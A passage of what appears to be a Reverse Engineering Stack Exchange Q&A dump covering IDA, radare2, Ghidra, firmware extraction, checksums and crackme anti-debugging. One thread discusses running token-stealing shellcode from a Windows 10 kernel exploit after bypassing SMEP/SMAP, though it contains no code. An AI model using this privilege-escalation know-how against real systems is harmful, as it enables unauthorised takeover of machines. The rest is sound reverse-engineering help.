)\n</code></pre>\n",
        "Title": "Assembly that just seems to be a jumble",
        "Tags": "|disassembly|x86|dos|",
        "Answer": "<p>This appears to be a 32 bit multiplication implemented on a 16 bit architecture.</p>\n\n<p>Input numbers are <code>dx:ax</code> and <code>cx:bx</code>, result in <code>dx:ax</code>.</p>\n\n<p>The <code>xchg</code>s make the code confusing but if you play it through you notice it does a bunch of a seperate multiplications with the high and low 16 bit of the input numbers.</p>\n\n<p>At this point I had a hunch it may be 32 bit multiplication so I tried to understand how that would look with the input numbers split and the result also split and approach the problem from the other way round.</p>\n\n<p>Assuming the above inputs, one can deduce the following formulas:</p>\n\n<pre><code>dx:ax = (dx &lt;&lt; 16) + ax\ncx:bx = (cx &lt;&lt; 16) + bx\n</code></pre>\n\n<p>then just multiple them:</p>\n\n<pre><code>(dx:ax * cx:bx) = (dx &lt;&lt; 16)*(cx &lt;&lt; 16)  + (dx &lt;&lt; 16)*bx + ax*(cx &lt;&lt; 16) + ax*bx\n</code></pre>\n\n<p>If you take a look, we have 3 additions here instead of two. The reason is that multiplying the upper parts overflows 32 bit so the first multiplicant is dropped in the above code silently.</p>\n\n<p>That leaves us</p>\n\n<pre><code>(dx:ax * cx:bx) = (dx &lt;&lt; 16)*bx + ax*(cx &lt;&lt; 16) + ax*bx\n</code></pre>\n\n<p>Now if you think about bitshifts and multiplications <strike>in this case</strike> <em>every case, as a bitshift is nothing more than a multiplication by powers of 2</em>, they commute meaning this is equivalent to:</p>\n\n<pre><code>(dx:ax * cx:bx) = (dx*bx &lt;&lt; 16) + (ax*cx &lt;&lt; 16) + ax*bx\n</code></pre>\n\n<p>and then we can split it back into 16 bit easily:</p>\n\n<pre><code>dx = dx*bx + ax*cx\nax = ax*bx\n</code></pre>\n\n<p>and there you have it, the result of the multiplication of two 32 bit numbers given as 16 bit words.</p>\n\n<p>And this seems to match what the code is doing (safe for bx cx swapped possibly, you may want to have a closer look on that), so it just seems to multiply numbers.</p>\n\n<p><strong>Edit:</strong> Armed with that knowledge and the response to your previous question by Igor I found this source code:</p>\n\n<p><a href=\"https://github.com/gandrewstone/GameMaker/blob/master/tools/BORLANDC/CRTL/CLIB/F_LXMUL.ASM\" rel=\"noreferrer\">https://github.com/gandrewstone/GameMaker/blob/master/tools/BORLANDC/CRTL/CLIB/F_LXMUL.ASM</a></p>\n\n<p>which confirms the finding.</p>\n"
    },
    {
        "Id": "20733",
        "CreationDate": "2019-02-27T17:14:20.620",
        "Body": "<p>I have a function that seems to calculate the length of a string.</p>\n\n<p>I have made this type declaration and it does kind of work as IDA now flags the string correctly. </p>\n\n<p><code>__int64 __fastcall strlen(char strlen_string);</code></p>\n\n<p>Now, RAX seems to hold the length of the string. But doing <code>strlen@&lt;rax&gt;</code> tells me that 'location rax is not allowed here'. Also, I'd like to flag exactly where the length is being used.</p>\n\n<p>This is what I have now:</p>\n\n<pre><code>mov     rdi, rcx ; strlen_string\ncall    strlen\nmov     [rbp+var001], rax  \n</code></pre>\n\n<p>and this is what I want to have with the new type declaration:</p>\n\n<pre><code>mov     rdi, rcx ; strlen_string\ncall    strlen\nmov     [rbp+var001], rax ; string_length\n</code></pre>\n\n<p>How can I do that? Is it even possible? </p>\n",
        "Title": "How do I set the return type for this type declaration?",
        "Tags": "|ida|",
        "Answer": "<p>Specifying argument locations syntax is only available in the specific <code>__usercall</code> pseudo calling convention, which IDA supports precisely for that use case, where no other calling convention fit.</p>\n\n<p>However, as mentioned in the comments, setting IDA's return value location has little impact, and it is impossible to have IDA automatically set a comment for the returned value (only arguments support that). You can, however, write a short IDAPython script for that.</p>\n"
    },
    {
        "Id": "20734",
        "CreationDate": "2019-02-27T18:56:30.097",
        "Body": "<p>I have stumbled upon this:</p>\n\n<pre><code>public _oret\n__common:0000000100018000 _oret:                             \n\n__common:0000000100018000 sub     [rdi+4Fh], al\n__common:0000000100018003 db      4Fh\n__common:0000000100018003 and     [rdi+4Fh], r10b\n__common:0000000100018008 push    rdx\n__common:0000000100018009 and     [r8], rsp\n__common:000000010001800C db      40h, 46h, 43h\n__common:000000010001800C xor     r14d, [r14]\n__common:0000000100018012 xor     eax, 0A20h\n</code></pre>\n\n<p>What is this doing exactly? My RAX points here, but I don't understand anything about what the purpose of this is.</p>\n",
        "Title": "What is this assembly in the `__common` section doing?",
        "Tags": "|assembly|",
        "Answer": "<p>The <code>__common</code> section seems to be typical from Mach-O format. It contains uninitialized external globals, similar to <code>static</code> variables.</p>\n\n<p>In your case, it holds a constant string as blabb showed it. But, you should better display it as a string (and not as code).</p>\n\n<p>See: <a href=\"https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html\" rel=\"nofollow noreferrer\">Overview of the Mach-O Executable Format</a>, from the Apple \"<a href=\"https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/CodeFootprint.html\" rel=\"nofollow noreferrer\">Introduction to Code Size Performance Guidelines</a>\".</p>\n"
    },
    {
        "Id": "20743",
        "CreationDate": "2019-02-28T15:13:20.567",
        "Body": "<p>Mostly in the tutorials they are telling to use this tool and that tool to magically apply something and make XY work &amp; run. I would love to know how these things are working, how is import reconstruction done generally?</p>\n\n<p>For example in my case I would need dump a malware from memory, where it's manual mapped, but these import reconstruction tools usually does not support such a thing, this is why I want to learn what it is at all. <em>(I know that there are workarounds how to make them work, but I want to know the logic behind imp reccing)</em></p>\n\n<p>So, back to the question. Are they analyzing the code itself for calls which are residing in external modules? Or are they using some other/existing/runtime table which usually unveil the original modules/procs.</p>\n\n<p>I couldn't find any good docs/description about it <em>(except for whole the codebase of Scylla)</em></p>\n",
        "Title": "What does Scylla/ImpRec are doing? How to reconstruct imports?",
        "Tags": "|import-reconstruction|",
        "Answer": "<p>Different import reconstruction tools employ different heuristics in order to find the method used by the malware/packer because manually implemented import tables can be achieved in multiple different approaches (some without holding import tables at all).</p>\n\n<p>Most import reconstruction tools usually have multiple heuristic choices, even. You can read about the different heuristics and their meaning in those tools' documentation and/or files. ImpRec's can be found with it as a text file while Scylla's can be interpreted from it's source code.</p>\n\n<p>Normally, an import reconstruction tool needs to gather two pieces of information for every imported function:</p>\n\n<ol>\n<li><p>Where is that imported function being called/referenced throughout the fixed binary. This may be either a pointer variable pointing to an imported function, or a piece of code that needs to be modified based on the imported function's address.</p>\n\n<p>If the binary creates a manual import table as part of it's execution, this involves iterating it until it's end is reached. Finding such manual import table is often left to the user, by either pointing to it directly by address or inferring it from the references done by the binary itself, as calls/jumps, after the binary is loaded and the OEP is reached.</p>\n\n<p>If the binary avoids an import table, all imports must be inferred by analyzing the code starting at OEP and recognizing indirect calls or calls made using a stored address. An import reconstruction tool may validate the target address is indeed an imported function.</p></li>\n<li><p>Which imported function is actually being called. More often, this is the easier part of the two however it can be further complicated by packers. To resolve the imports the import reconstruction tool must obviously know to which function must every reference resolve.</p>\n\n<p>If those jumps/calls/ point to the relevant imported functions in the loaded library, resolving them is quite straightforward - enumerate all imports in the target module and match the addresses. </p>\n\n<p>If, however, the imported functions are being copied (entirely or partially) to an allocated memory region, figuring out what function is actually called may be a little more difficult. </p></li>\n</ol>\n"
    },
    {
        "Id": "20750",
        "CreationDate": "2019-03-01T18:25:09.030",
        "Body": "<p>I am having some trouble understanding what this is doing.</p>\n\n<p>This is the commented pseudocode. </p>\n\n<pre><code>mightGetUserInput(&amp;std::__1::cin, &amp;userInput) ; this fills the buffer with the user input, naming is a bit weird, but I'm not sure how to improve it?\n\nif ( userInput &amp; 1 ) ; wtf is this doing? IDA flags userInput as _BYTE\n{\n  v54 = &amp;userInput;  // \n  v55 = &amp;userInput;  // This is literally junk. Has no use. Would be nice to clean this up but how?\n  v56 = &amp;userInput;  //\n  length_of_userInput = *((_QWORD *)&amp;userInput + 1); I have been able to only trigger this\n}\nelse\n{\n  v51 = &amp;userInput;  //\n  v52 = &amp;userInput;  // This is literally junk. Has no use. Would be nice to clean this up but how?\n  v53 = &amp;userInput;  //\n  length_of_userInput = (signed int)userInput &gt;&gt; 1; No clue what this is doing\n} \n</code></pre>\n\n<p>This is the actual assembly if you prefer it:</p>\n\n<pre><code>mov     [rbp+user_input], rcx\nmov     rcx, [rbp+user_input]\nmovzx   edx, byte ptr [rcx]\nand     edx, 1\ncmp     edx, 0\njz ....\n</code></pre>\n\n<p>EDIT: Someone in the comments asked for the disassembly of mightGetUserInput: <a href=\"https://pastebin.com/zVF96bEK\" rel=\"nofollow noreferrer\">here it is</a>. DISCLAIMER: This is the pseudocode generated by IDA. It's pretty ugly and big.</p>\n\n<p>I don't really know the size of userInput. It's either referred as void * or as __int64. If this is wrong (and can guide me through IDA, feel free to correct me).</p>\n",
        "Title": "Bitwise operation between byte and 1?",
        "Tags": "|ida|assembly|",
        "Answer": "<p>At it's most basic level, this code piece checks if the lowest bit of a given variable is set. As mentioned, one possibility is that this code checks if the variable is a even number.</p>\n\n<p>Another option (which to me seems more reasonable given the limited context provided), is that the least significant bit is used as a flag/bit-field to signify the state of a value. </p>\n\n<p>Several commonly seen options are:</p>\n\n<ol>\n<li>specifying whether something is initialized.</li>\n<li>what's the type of the value; either a string or an integer, for example. This can be seen in Javascript VMs, for example. To avoid storing an additional field.</li>\n<li>An encoding of variable length values. ASN1, for example, encodes it's <em>variable-length length fields</em> dedicating a bit to whether this is the last byte of the length field.</li>\n</ol>\n"
    },
    {
        "Id": "20760",
        "CreationDate": "2019-03-03T18:37:38.823",
        "Body": "<p>What is the easiest way (or is there any) to modify an instruction\ninside a binary opened inside IDA and save the changes to the original? \nIs there a builtin assembler who's output I can place at a certain offset? How can I save back a binary after having edited the hex view?</p>\n",
        "Title": "Recommended way to modify assembler instructions in IDA",
        "Tags": "|ida|assembly|",
        "Answer": "<p>This is quite easy with IDA Pro:</p>\n\n<p>With the cursor at the first instruction you want to modify go to Edit | Patch Program | Assemble</p>\n\n<p><a href=\"https://i.stack.imgur.com/BqQQq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BqQQq.png\" alt=\"IDA Pro | Edit | Patch Program | Assemble\"></a></p>\n\n<p>Change the instruction(s) as required until you are done, then press OK\n<a href=\"https://i.stack.imgur.com/2cDXd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2cDXd.png\" alt=\"IDA Pro | Assemble Instruction\"></a></p>\n\n<p>Finally choose Edit | Patch Program | Apply patches to input file (and optionally make a backup).</p>\n\n<p>Here is an example: <a href=\"https://www.remkoweijnen.nl/blog/2013/05/23/application-compatibility-fixing-to-the-extreme/\" rel=\"nofollow noreferrer\">https://www.remkoweijnen.nl/blog/2013/05/23/application-compatibility-fixing-to-the-extreme/</a></p>\n\n<p>From the Help:</p>\n\n<blockquote>\n  <p>Edit|Patch core submenu   This submenu allows you to patch the image\n  of the input file. More precisely, IDA never modifies the input file.\n  The image of the input file which was loaded to the database will be\n  modified.  You can modify the image of the input file: </p>\n\n<pre><code>    - change a byte\n    - change a word\n    - enter an assembler instruction (only for IBM PC)\n</code></pre>\n  \n  <p>IDA will display the original value, the current value and file\n  offset. If the file offset is equal to 0xFFFFFFFF then the current\n  byte comes from a compressed page (LX/LE/NE iterated pages, for\n  example) and/or it is not possible to tell the file position.  You can\n  create a difference file and use an external tool to apply the patches\n  or you can apply the patches directly to the file using IDA. </p>\n  \n  <p>The following commands are availabe: </p>\n  \n  <p>Patch byte or word  Assemble...  Apply patches to input file...</p>\n  \n  <p>See also:   Produce EXE file  Produce DIF file  Edit submenu.</p>\n</blockquote>\n"
    },
    {
        "Id": "20762",
        "CreationDate": "2019-03-03T20:01:28.343",
        "Body": "<p>I am solving a crack me challenge but I am stuck. The challenge executes several <code>jne</code> tests. The first test is the simpliest but I don't arrive to print the <code>eax</code> value to know the content of <code>cmp</code> instruction. According to this block of code :</p>\n\n<pre><code>|    ; DATA XREF from sym.main (0x804848e)\n|    0x08048497      b88a55ea8b     mov eax, 0x8bea558a\n|    0x0804849c      45             inc ebp\n|    0x0804849d      f4             hlt\n|    0x0804849e      83c004         add eax, 4\n|    0x080484a1      8a00           mov al, byte [eax]\n|    0x080484a3      38c2           cmp dl, al\n|,=&lt; 0x080484a5      753d           jne 0x80484e4\n</code></pre>\n\n<p>How can I print the <code>eax</code> value to understand what are compared in the instruction ?</p>\n\n<p><code>0x080484a1      8a00           mov al, byte [eax]</code></p>\n\n<p>According to <a href=\"https://reverseengineering.stackexchange.com/questions/11768/how-to-print-from-pointers-in-radare2-in-debug-session\">this question</a>, I tried the <code>0x080484a1</code> but when I enter the command <code>pxr 1 @ eax+0x4</code>, nothing appears. If I enter the command <code>pxr @ eax+0x4</code>, this code appears :</p>\n\n<pre><code>0x080c288c  0x6f6c6165  ealo ascii\n0x080c2890  0x00796768  hgy. ascii\n</code></pre>\n\n<p>The ascii printed is linked with the string compared <code>ksuiealohgy</code>.</p>\n",
        "Title": "How to print eax value with Radare2?",
        "Tags": "|debugging|radare2|debuggers|",
        "Answer": "<p>Not sure why you used <code>pxr</code> as you could get the output with <code>px 1 @ eax+0x4</code>. But another options would be that you could run this opcode and then read the register value of <code>al</code> to get that. But in order to do that you need to use debugger commands instead (of course you need to be in debugging mode):</p>\n\n<pre><code>[0x7f5953803e90]&gt; dr?\nUsage: dr   Registers commands\n| dr                     Show 'gpr' registers\n&lt;snip&gt;\n</code></pre>\n\n<p>So to get the value of <code>al</code> execute during debugging session:</p>\n\n<pre><code>[0x7f5953803e90]&gt; dr al\n0x00000090\n</code></pre>\n"
    },
    {
        "Id": "20768",
        "CreationDate": "2019-03-04T06:42:39.717",
        "Body": "<p>I have written a kernel exploit (for the latest Win10 64bit) that executes (or returns to from the kernel) token stealing shellcode, which is placed in the VirtulAlloc'ed memory in the userland.</p>\n\n<p>The problem is, when the exploit is executed by admin user, it works fine but if it is executed by the normal user (medium integrity), it crashes with <code>ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)</code>. </p>\n\n<p>When I check the permission of the usermode shellcode memory, </p>\n\n<p>(standard user)</p>\n\n<pre><code>PXE at FFFF8542A150A010    PPE at FFFF8542A1402DF0    PDE at FFFF8542805BECA0    PTE at FFFF8500B7D94400\ncontains 8A000000269B1867  contains 0A0000001C4F2867  contains 0A0000002673C867  contains 0000000032E84025\npfn 269b1     ---DA--UW-V  pfn 1c4f2     ---DA--UWEV  pfn 2673c     ---DA--UWEV  pfn 32e84     ----A--UREV\n</code></pre>\n\n<p>while in admin</p>\n\n<pre><code>PXE at FFFF8944A2512028    PPE at FFFF8944A2405E48    PDE at FFFF894480BC9F28    PTE at FFFF8901793E5800\ncontains 0A000000060BD867  contains 0A0000003593E867  contains 0A0000000FBAB867  contains 000000001DFF4825\npfn 60bd      ---DA--UWEV  pfn 3593e     ---DA--UWEV  pfn fbab      ---DA--UWEV  pfn 1dff4     ----A--UREV\n</code></pre>\n\n<p>The difference is at the PXE level, there is no <code>E</code> bit set for standard user while admin user has execution permission on the usermode shellcode.</p>\n\n<p>I tried implementing the shellcode as a function of the exploit(.exe) so it is placed in code segment (which it will probably have execution privilege), but it is same (No <code>E</code> set in PXE level) and crashes although <code>!vad</code> command outputs <code>EXECUTE_WRITECOPY</code>. </p>\n\n<p>I have checked that <code>ProcessMitigationPolicy</code>'s <code>ProhibitDynamicCode</code> is set to 0, so I don't think this is the problem. </p>\n\n<p>How do you guys execute shellcode when writing kernel exploit these days?\n(FYI I have disabled SMEP, SMAP via Kernel ROP).</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Returning to usermode shellcode from windows kernel (Win10)",
        "Tags": "|exploit|shellcode|windows-10|",
        "Answer": "<p>What I found out until now is that according to the Intel manual, even though <code>SMEP</code> bit is 0, if any entry in the process of going through page tables have <code>execute disable</code> bit set, it won't execute. This is the case when allocating RWX memory from standard user (medium IL).</p>\n\n<p>I didn't figure out whether this is a problem of my testing environment or some kind of mitigation, but manage to finish writing the exploit by mapping executable memory in the kernel and copy the shellcode there.</p>\n"
    },
    {
        "Id": "20772",
        "CreationDate": "2019-03-04T13:46:16.633",
        "Body": "<p>I'm working on an RFID reader that has partial implementation with ISO/IEC 14443-4 although not specifically compliant. I can decode a lot of the strings and understand the command base but I have not been able to crack the check sum.</p>\n\n<p>Read commands are 4 bytes in the format</p>\n\n<pre><code>0x82 Read Chunk\n0xYY Chunk Number\n2 Byte checksum\n</code></pre>\n\n<p>the response is to echo the Read command, chunk Id, 32 Bytes of data then 2 byte checksum.</p>\n\n<p>I've tried the hex strings with a bunch of standard checksum calculators as well as looking for things like logical ands but cannot find any rule for how they are generated. Is there some other techniques for this style of checksum?</p>\n\n<p>Sample Data:</p>\n\n<pre><code>8208942d\n82081101004049424d2020202020363831303232393437310004000d1f0e000d220a273b\n82091d3c\n8209000d2591000e8521000e8521000e881d363955320000000000000000386c1940c1a4\n821b8e0f\n821b00000000000000000000000000000000000000000000000000000000000000008ca8\n821c317b\n821c0000000000000000000000000000000000000000000000000000000000000000b461\n821db86a\n821d0000000000000000000000000000000000000000000000000000000000000000d721\n</code></pre>\n",
        "Title": "2byte checksum for serial traffic",
        "Tags": "|serial-communication|",
        "Answer": "<p>It is a CRC-A checksum. 16bits.\nPreface: From my research this is the crc for that standard. </p>\n\n<p>Its calculated from start of packet up to checksum</p>\n\n<p><a href=\"https://crccalc.com\" rel=\"nofollow noreferrer\">https://crccalc.com</a>\nPut 8209 and check the result: 3C1D. This is byte swapped due to endian. Probably why you didn't find it.  </p>\n\n<p>Let me know if you need help, be happy to help code it.\n Here is a c++ implementation of the calculation:\n<a href=\"https://github.com/pkourany/MFRC522_RFID_Library/blob/master/src/MFRC522.cpp\" rel=\"nofollow noreferrer\">https://github.com/pkourany/MFRC522_RFID_Library/blob/master/src/MFRC522.cpp</a>\nThis is the Arduino library for the NFC chip.</p>\n\n<p>Cheers </p>\n"
    },
    {
        "Id": "20774",
        "CreationDate": "2019-03-04T14:29:59.357",
        "Body": "<p>I am using radare2 for disassemble an x86 binary:</p>\n\n<pre><code>$ r2 ./mynbinary\n[0x00001000]&gt; aaa\n...\n[0x00001000]&gt; pdf\n            ;-- section..text:\n            ;-- section.LOAD1:\n            ;-- rip:\n/ (fcn) entry0 53\n|   entry0 ();\n|           ; UNKNOWN XREF from 0x00001000 (entry0)\n|           0x00001000      e800000000     call loc.suite              ; [15] m-r-x section size 53 named LOAD1\n            ;-- suite:\n|           ; CALL XREF from 0x00001000 (entry0)\n|           0x00001005      48b968656c6c.  movabs rcx, 0x3332316f6c6c6568\n...\n</code></pre>\n\n<p>As you can see it works great.</p>\n\n<p>Now, i am doing the same thing, on the same binary but with -d option in order to debug the binary</p>\n\n<pre><code>[0x7ff5a7183210]&gt; aaa\n...\n[0x7ff5a7183210]&gt; pdf\np: Cannot find function at 0x7ff5a7183210\n</code></pre>\n\n<p>I don't know why it does not work in debuging...</p>\n\n<p>Thanks</p>\n",
        "Title": "debugging with radare2",
        "Tags": "|x86|radare2|",
        "Answer": "<p>The issue is that address <code>0x7ff5a7183210</code> is not part of your binary but rather part of the kernel code that will run your code. So running <code>aaa</code> will not create any functions there. What you need to create a breakpoint in your code (i.e running <code>db main</code>) and only when your breakpoint is hit you could run <code>pdf</code> and it should should show you the disassembly.</p>\n"
    },
    {
        "Id": "20781",
        "CreationDate": "2019-03-05T10:21:20.063",
        "Body": "<p>How can these pe attributes be used to identify malware. </p>\n\n<p>I was going though a paper <a href=\"https://www.sans.org/reading-room/whitepapers/malicious/attributes-malicious-files-33979\" rel=\"nofollow noreferrer\">link</a> at page 10 he mentioned.</p>\n\n<p>\"BYTES_REVERSED_HI and BYTES_REVERSED_LO both make ideal candidates as a primary indicator due to the significant detection rate with a low false positive rate\"</p>\n",
        "Title": "what does BYTES_REVERSED_HI and BYTES_REVERSED_LO in an PE signify",
        "Tags": "|malware|pe|static-analysis|",
        "Answer": "<p>I actually think this is a good and valid question.</p>\n\n<p>And I think the answer here is - it is because it is. What I mean is that they analyzed a bunch of samples, separated them into malicious/benign, and then found out that when these flags are set it's almost always malware, so it makes a good indicator because they observed it to be a good one.</p>\n\n<p>I can't think of a logical reason. It's probably a field nobody sets on purpose in legit software. Maybe some packers or whatever sets the field in order to alter the files' checksum? Google says those flags are obsolete so setting them should not have any effect at all, but it would change a file's checksum.</p>\n"
    },
    {
        "Id": "20782",
        "CreationDate": "2019-03-05T13:12:16.160",
        "Body": "<p>I am not sure if IDA is working correctly or not.</p>\n\n<p>I have the instructions </p>\n\n<pre><code>call $+5\npop edi\n</code></pre>\n\n<p>If I understand this correctly, the program will jump forward, skipping some junk interpreted as instructions by IDA. To calculate where the execution continues, I have to get the location of <code>pop edi</code> (00002504), undefine everything after <code>pop edi</code>, and redefine as code at the location of <code>pop edi</code> + 5 (00002509) , or at least that's what I understood from searching here.</p>\n\n<p>Now, the problem is that when I undefine everything after <code>pop edi</code>, IDA freaks out and does not undefine anything.</p>\n\n<p>With the experience I have, when doing this I noticed that all the instructions after the undefine are well, undefined.</p>\n\n<p>This does not happen. Here are some pictures to show this:\n<a href=\"https://i.stack.imgur.com/LwlHi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LwlHi.png\" alt=\"enter image description here\"></a></p>\n\n<p>After undefining:\n<a href=\"https://i.stack.imgur.com/Jfi1d.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Jfi1d.png\" alt=\"After undefine\"></a></p>\n\n<p>What is happening here?</p>\n",
        "Title": "IDA Pro not undefining assembly?",
        "Tags": "|ida|assembly|",
        "Answer": "<pre><code>call $+5\npop edi\n</code></pre>\n\n<p>This code basically retrieves the address of the <code>pop edi</code> instruction into edi. The reason why this works is simple. <code>call</code> does two things:</p>\n\n<ul>\n<li>push the <em>next instruction's</em> address onto the stack</li>\n<li>jump to the address given in its operand</li>\n</ul>\n\n<p>But <code>$+5</code> just means \"current position + 5\" and the length of this call instruction is 5 bytes, so it jumps to <code>pop edi</code> after pushing the <em>address</em> of <code>pop edi</code> on the stack. And then <code>pop edi</code> fetches that address from the stack into edi.</p>\n\n<p>And why would you do that? Because sometimes you don't know where your code is located but need to supply an absolute address to someone. If you write code you can easily tell relative offsets, say that a string is 500 byte from the start of your code block. To get an absolute address you then use the <code>call pop</code> trick to get some anchor point and then can add whatever offset to it to turn it into an absolute address without having to know the code's location at runtime.</p>\n"
    },
    {
        "Id": "20788",
        "CreationDate": "2019-03-05T21:55:07.763",
        "Body": "<h1>TL;DR:</h1>\n\n<p>Trying to mount extracted ubi file system onto /dev/mtd0 gives me the error:</p>\n\n<pre><code>libscan: scanning eraseblock 323 -- 100 % complete  \nubiformat: 324 eraseblocks are supposedly empty\nubiformat: error!: file \"340D04.ubi\" (size 42467348 bytes) is not multiple of eraseblock size (131072 bytes)\n           error 0 (Success)\n</code></pre>\n\n<p>How do I get that thing flashed?</p>\n\n<h1>Longer version:</h1>\n\n<p>I am looking to reverse the firmware for an Arris modem firmware, comparing older versions of the firmware to newer ones. I want to get access to the webroot of the little web server that runs the firmware because I think there is a bug in it.</p>\n\n<p>In this older version, binwalk gives me this:</p>\n\n<pre><code>&gt; binwalk spTurquoise210-700_1.6.9.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n544           0x220           Certificate in DER format (x509 v3), header length: 4, sequence length: 985\n1533          0x5FD           Certificate in DER format (x509 v3), header length: 4, sequence length: 1246\n3332          0xD04           JFFS2 filesystem, little endian\n3411204       0x340D04        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000\n</code></pre>\n\n<p>Extracting this <code>binwalk -e spTurquoise210-700_1.6.9.bin</code> yields:</p>\n\n<pre><code>total 166M\ndrwxr-xr-x 3 root    root    4.0K Mar  5 16:10 .\ndrwxr-xr-x 4 michael michael 4.0K Mar  5 16:10 ..\n-rw-r--r-- 1 root    root     43M Mar  5 16:10 220.crt\n-rw-r--r-- 1 root    root     39M Mar  5 16:10 340D04.ubi\n-rw-r--r-- 1 root    root     43M Mar  5 16:10 5FD.crt\n-rw-r--r-- 1 root    root     43M Mar  5 16:10 D04.jffs2\ndrwxr-xr-x 3 root    root    4.0K Mar  5 16:10 jffs2-root\n</code></pre>\n\n<p>The contents of jffs2-root don't reveal the webroot. I have mounted the D04.jffs2 image, and it appears to be identical to the extracted jffs2-root directory contents. It appears to be the upgrader that flashes the firmware.</p>\n\n<p>So, I figure I'll check the 340D04.ubi image. To mount that and check it, I:</p>\n\n<pre><code>&gt; rmmod mtdram\n&gt; du -sk 340D04.ubi\n39812   340D04.ubi\n&gt; modprobe mtdram total_size=39812\n&gt; flash_erase /dev/mtd0 0 0\n&gt; ubiformat /dev/mtd0 -f 340D04.ubi\n</code></pre>\n\n<p>That's where I've hit a problem. The output of the ubiformat command is:</p>\n\n<pre><code>libscan: scanning eraseblock 323 -- 100 % complete  \nubiformat: 324 eraseblocks are supposedly empty\nubiformat: error!: file \"340D04.ubi\" (size 42467348 bytes) is not multiple of eraseblock size (131072 bytes)\n           error 0 (Success)\n</code></pre>\n\n<p>I cannot figure out how to flash the ubi file system onto the mtd0 device so I can (later) mount it.</p>\n\n<h1>Images:</h1>\n\n<ul>\n<li><a href=\"http://gateway.c01.sbcglobal.net/firmware/001E46/BGW210-700_1.6.9/spTurquoise210-700_1.6.9.bin\" rel=\"nofollow noreferrer\">v1.6.9</a></li>\n<li><a href=\"http://gateway.c01.sbcglobal.net/firmware/001E46/BGW210-700_1.8.18/spTurquoise210-700_1.8.18.bin\" rel=\"nofollow noreferrer\">v1.8.19</a></li>\n</ul>\n",
        "Title": "Reversing Arris BGW210 firmware",
        "Tags": "|firmware|",
        "Answer": "<p>ubireader_extract_files from <a href=\"https://github.com/jrspruitt/ubi_reader\" rel=\"nofollow noreferrer\">https://github.com/jrspruitt/ubi_reader</a> can extract the UBI if it is padded with zeroes to the expected size.</p>\n"
    },
    {
        "Id": "20791",
        "CreationDate": "2019-03-06T08:53:06.150",
        "Body": "<p>I am currently trying <a href=\"https://www.ghidra-sre.org/\" rel=\"noreferrer\">Ghidra</a> and, I am looking at a specific function. I have the assembly code and the decompiled version of it. But, I am looking to see if I can have it as a CFG...</p>\n\n<p>Does someone has a clue on how to do it?</p>\n\n<p><a href=\"https://i.stack.imgur.com/gGnoV.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/gGnoV.png\" alt=\"Ghidra screenshot\"></a></p>\n",
        "Title": "How to display the CFG of a function in Ghidra?",
        "Tags": "|disassembly|ghidra|",
        "Answer": "<p>Try <code>Window</code> -> <code>Function Graph</code></p>\n\n<p>Its even conveniently zoomable.</p>\n\n<p><a href=\"https://i.stack.imgur.com/eYEVh.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/eYEVh.png\" alt=\"interface\"></a></p>\n"
    },
    {
        "Id": "20797",
        "CreationDate": "2019-03-06T13:48:37.180",
        "Body": "<p>How do I set the data to floating point number in quickier way than clicking on:</p>\n\n<pre><code>Edit&gt;Operand type&gt;Number&gt;Floating point\n</code></pre>\n\n<p>I have a lot of wrongly detected casual DWORD's instead of Float's and clicking on every single of them with above is a giant waste of time. </p>\n\n<p>How can I automate this process, or setup a shortcut for floating point numbers? For example, how 'B' for binary or 'D' for byte/word/dword work by default.</p>\n",
        "Title": "IDA - floating point operand type",
        "Tags": "|ida|",
        "Answer": "<ol>\n<li>for data items: <kbd>Alt-D, F</kbd> </li>\n<li>Menu: Options|Shortcuts..., add a custom shortcut for OpFloat action.</li>\n</ol>\n"
    },
    {
        "Id": "20806",
        "CreationDate": "2019-03-07T09:58:06.727",
        "Body": "<p>I would like to know if there are disassemblers based on a symbolic analysis, I'm beginner in RE, but I think that a disassembler based on symbolic techniques can be very interesting and could disassemble most of the obfuscated binaries..</p>\n",
        "Title": "Does a symbolic disassembler exist?",
        "Tags": "|disassembly|binary-analysis|obfuscation|deobfuscation|",
        "Answer": "<p>Well, most of the disassembler based on '<em>symbolic execution</em>' are kind of symbolic. The problem is that you need to modelize so much from the environment (system calls answers, interaction with other programs, ...) that most of them also use concrete execution when the program venture outside of their model.</p>\n\n<p>But, you should look for <a href=\"https://en.wikipedia.org/wiki/Symbolic_execution\" rel=\"nofollow noreferrer\">symbolic execution</a> tools such as <a href=\"https://angr.io/\" rel=\"nofollow noreferrer\">angr</a>, <a href=\"https://miasm.re/blog/\" rel=\"nofollow noreferrer\">miasm</a> and many others.</p>\n"
    },
    {
        "Id": "20808",
        "CreationDate": "2019-03-07T16:37:21.367",
        "Body": "<p>I'm doing one of my first linux crackmes.</p>\n\n<p>In the first blocks of code, it goes inside some anti-debug routine and inside one of those it <strong>forks</strong> and after it calls a <strong>waitpid</strong> routine. I can verify it and understand purely the code but I can't get why the creators put this code and how it can be an anti-debug technique. These are the interesting blocks.</p>\n\n<p><a href=\"https://i.stack.imgur.com/0D7w4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0D7w4.png\" alt=\"Fork and Waitpid calls\"></a></p>\n",
        "Title": "Fork and Waitpid calls in a CTF linux binary",
        "Tags": "|linux|anti-debugging|",
